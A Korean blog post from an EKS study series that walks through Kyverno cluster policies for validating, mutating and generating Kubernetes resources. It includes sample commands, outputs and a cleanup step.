그래서 Kyverno는 Rule 을 관리하는 역할이라고 생각하면 될것같다.
Validation
```bash
# 모니터링
watch -d kubectl get pod -n kyverno
# ClusterPolicy 적용
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: **ClusterPolicy**
metadata:
name: **require-labels**
spec:
**validationFailureAction: Enforce**
**rules**:
- name: check-team
match:
any:
- resources:
kinds:
- Pod
**validate**:
message: "label 'team' is required"
pattern:
metadata:
labels:
team: "?*"
EOF
# 확인
kubectl get validatingwebhookconfigurations
**kubectl get ClusterPolicy**
NAME ADMISSION BACKGROUND VALIDATE ACTION READY AGE MESSAGE
require-labels true true Enforce True 12s Ready
# 디플로이먼트 생성 시도
**kubectl create deployment nginx --image=nginx**
*error: failed to create deployment: admission webhook "validate.kyverno.svc-fail" denied the request:
resource Deployment/default/nginx was blocked due to the following policies
require-labels:
autogen-check-team: 'validation error: label ''team'' is required. rule autogen-check-team
failed at path /spec/template/metadata/labels/team/'*
# 디플로이먼트 생성 시도
**kubectl run nginx --image nginx --labels team=backend**
kubectl get pod -l team=backend
# 확인
**kubectl get policyreport -o wide**
NAME KIND NAME **PASS** FAIL WARN ERROR SKIP AGE
**e1073f10-84ef-4999-9651-9983c49ea76a** Pod nginx **1** 0 0 0 0 29s
**kubectl get policyreport e1073f10-84ef-4999-9651-9983c49ea76a -o yaml | kubectl neat | yh**
apiVersion: wgpolicyk8s.io/v1alpha2
kind: PolicyReport
metadata:
labels:
app.kubernetes.io/managed-by: kyverno
name: e1073f10-84ef-4999-9651-9983c49ea76a
namespace: default
results:
- message: validation rule 'check-team' passed.
policy: require-labels
result: **pass**
rule: check-team
scored: true
source: kyverno
timestamp:
nanos: 0
seconds: 1712473900
scope:
apiVersion: v1
kind: Pod
name: nginx
namespace: default
uid: e1073f10-84ef-4999-9651-9983c49ea76a
summary:
error: 0
fail: 0
pass: 1
skip: 0
warn: 0
# 정책 삭제
**kubectl delete clusterpolicy require-labels**
```
Mutation
- team 이라는 Key 가 없다면: default 로 bravo 를 입력함
- 실습에서는 team 이라는 Key 를 넣어준 것
#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: **ClusterPolicy**
metadata:
name: add-labels
spec:
rules:
- name: add-team
**match**:
any:
- resources:
kinds:
- Pod
**mutate**:
patchStrategicMerge:
metadata:
labels:
+(team): bravo
EOF
# 확인
kubectl get mutatingwebhookconfigurations
**kubectl get ClusterPolicy**
NAME ADMISSION BACKGROUND VALIDATE ACTION READY AGE MESSAGE
add-labels true true Audit True 6m41s Ready
# 파드 생성 후 label 확인
**kubectl run redis --image redis**
kubectl get pod redis --show-labels
# 파드 생성 후 label 확인 : 바로 위와 차이점은?
**kubectl run newredis --image redis -l team=alpha**
kubectl get pod newredis --show-labels
# 삭제
**kubectl delete clusterpolicy add-labels**
- Generation : We will use a Kyverno generate policy to generate an image pull secret in a new Namespace
# First, create this Kubernetes Secret in your cluster which will simulate a real image pull secret.
kubectl -n default create secret docker-registry regcred \
--docker-server=myinternalreg.corp.com \
--docker-username=john.doe \
--docker-password=Passw0rd123! \
--docker-email=john.doe@corp.com
#
kubectl get secret regcred
NAME TYPE DATA AGE
regcred kubernetes.io/dockerconfigjson 1 26s
#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: sync-secrets
spec:
rules:
- name: sync-image-pull-secret
match:
any:
- resources:
kinds:
- Namespace
generate:
apiVersion: v1
kind: Secret
name: regcred
namespace: "{{request.object.metadata.name}}"
synchronize: true
clone:
namespace: default
name: regcred
EOF
#
kubectl get ClusterPolicy
NAME ADMISSION BACKGROUND VALIDATE ACTION READY AGE MESSAGE
sync-secrets true true Audit True 8s Ready
# 신규 네임스페이스 생성 후 확인
kubectl create ns mytestns
kubectl -n mytestns get secret
# 삭제
kubectl delete clusterpolicy sync-secrets
(실습 완료 후) 자원 삭제
1. EKS 클러스터 삭제
eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME
2. testuser IAM User는 AWS 웹 관리콘솔에서 삭제
'외부활동' 카테고리의 다른 글
[AEWS] 2기 스터디: Terraform (0) | 2024.04.28 |
---|---|
[AEWS] 2기 스터디: CI (1) | 2024.04.21 |
[AEWS] 2기 스터디: EKS의 인증/인가 절차1 (0) | 2024.04.11 |
[AEWS] 2기 스터디: Autoscaling 의 다양한 방법 (0) | 2024.04.07 |
[AEWS] 2기 스터디: Observability (1) | 2024.03.31 |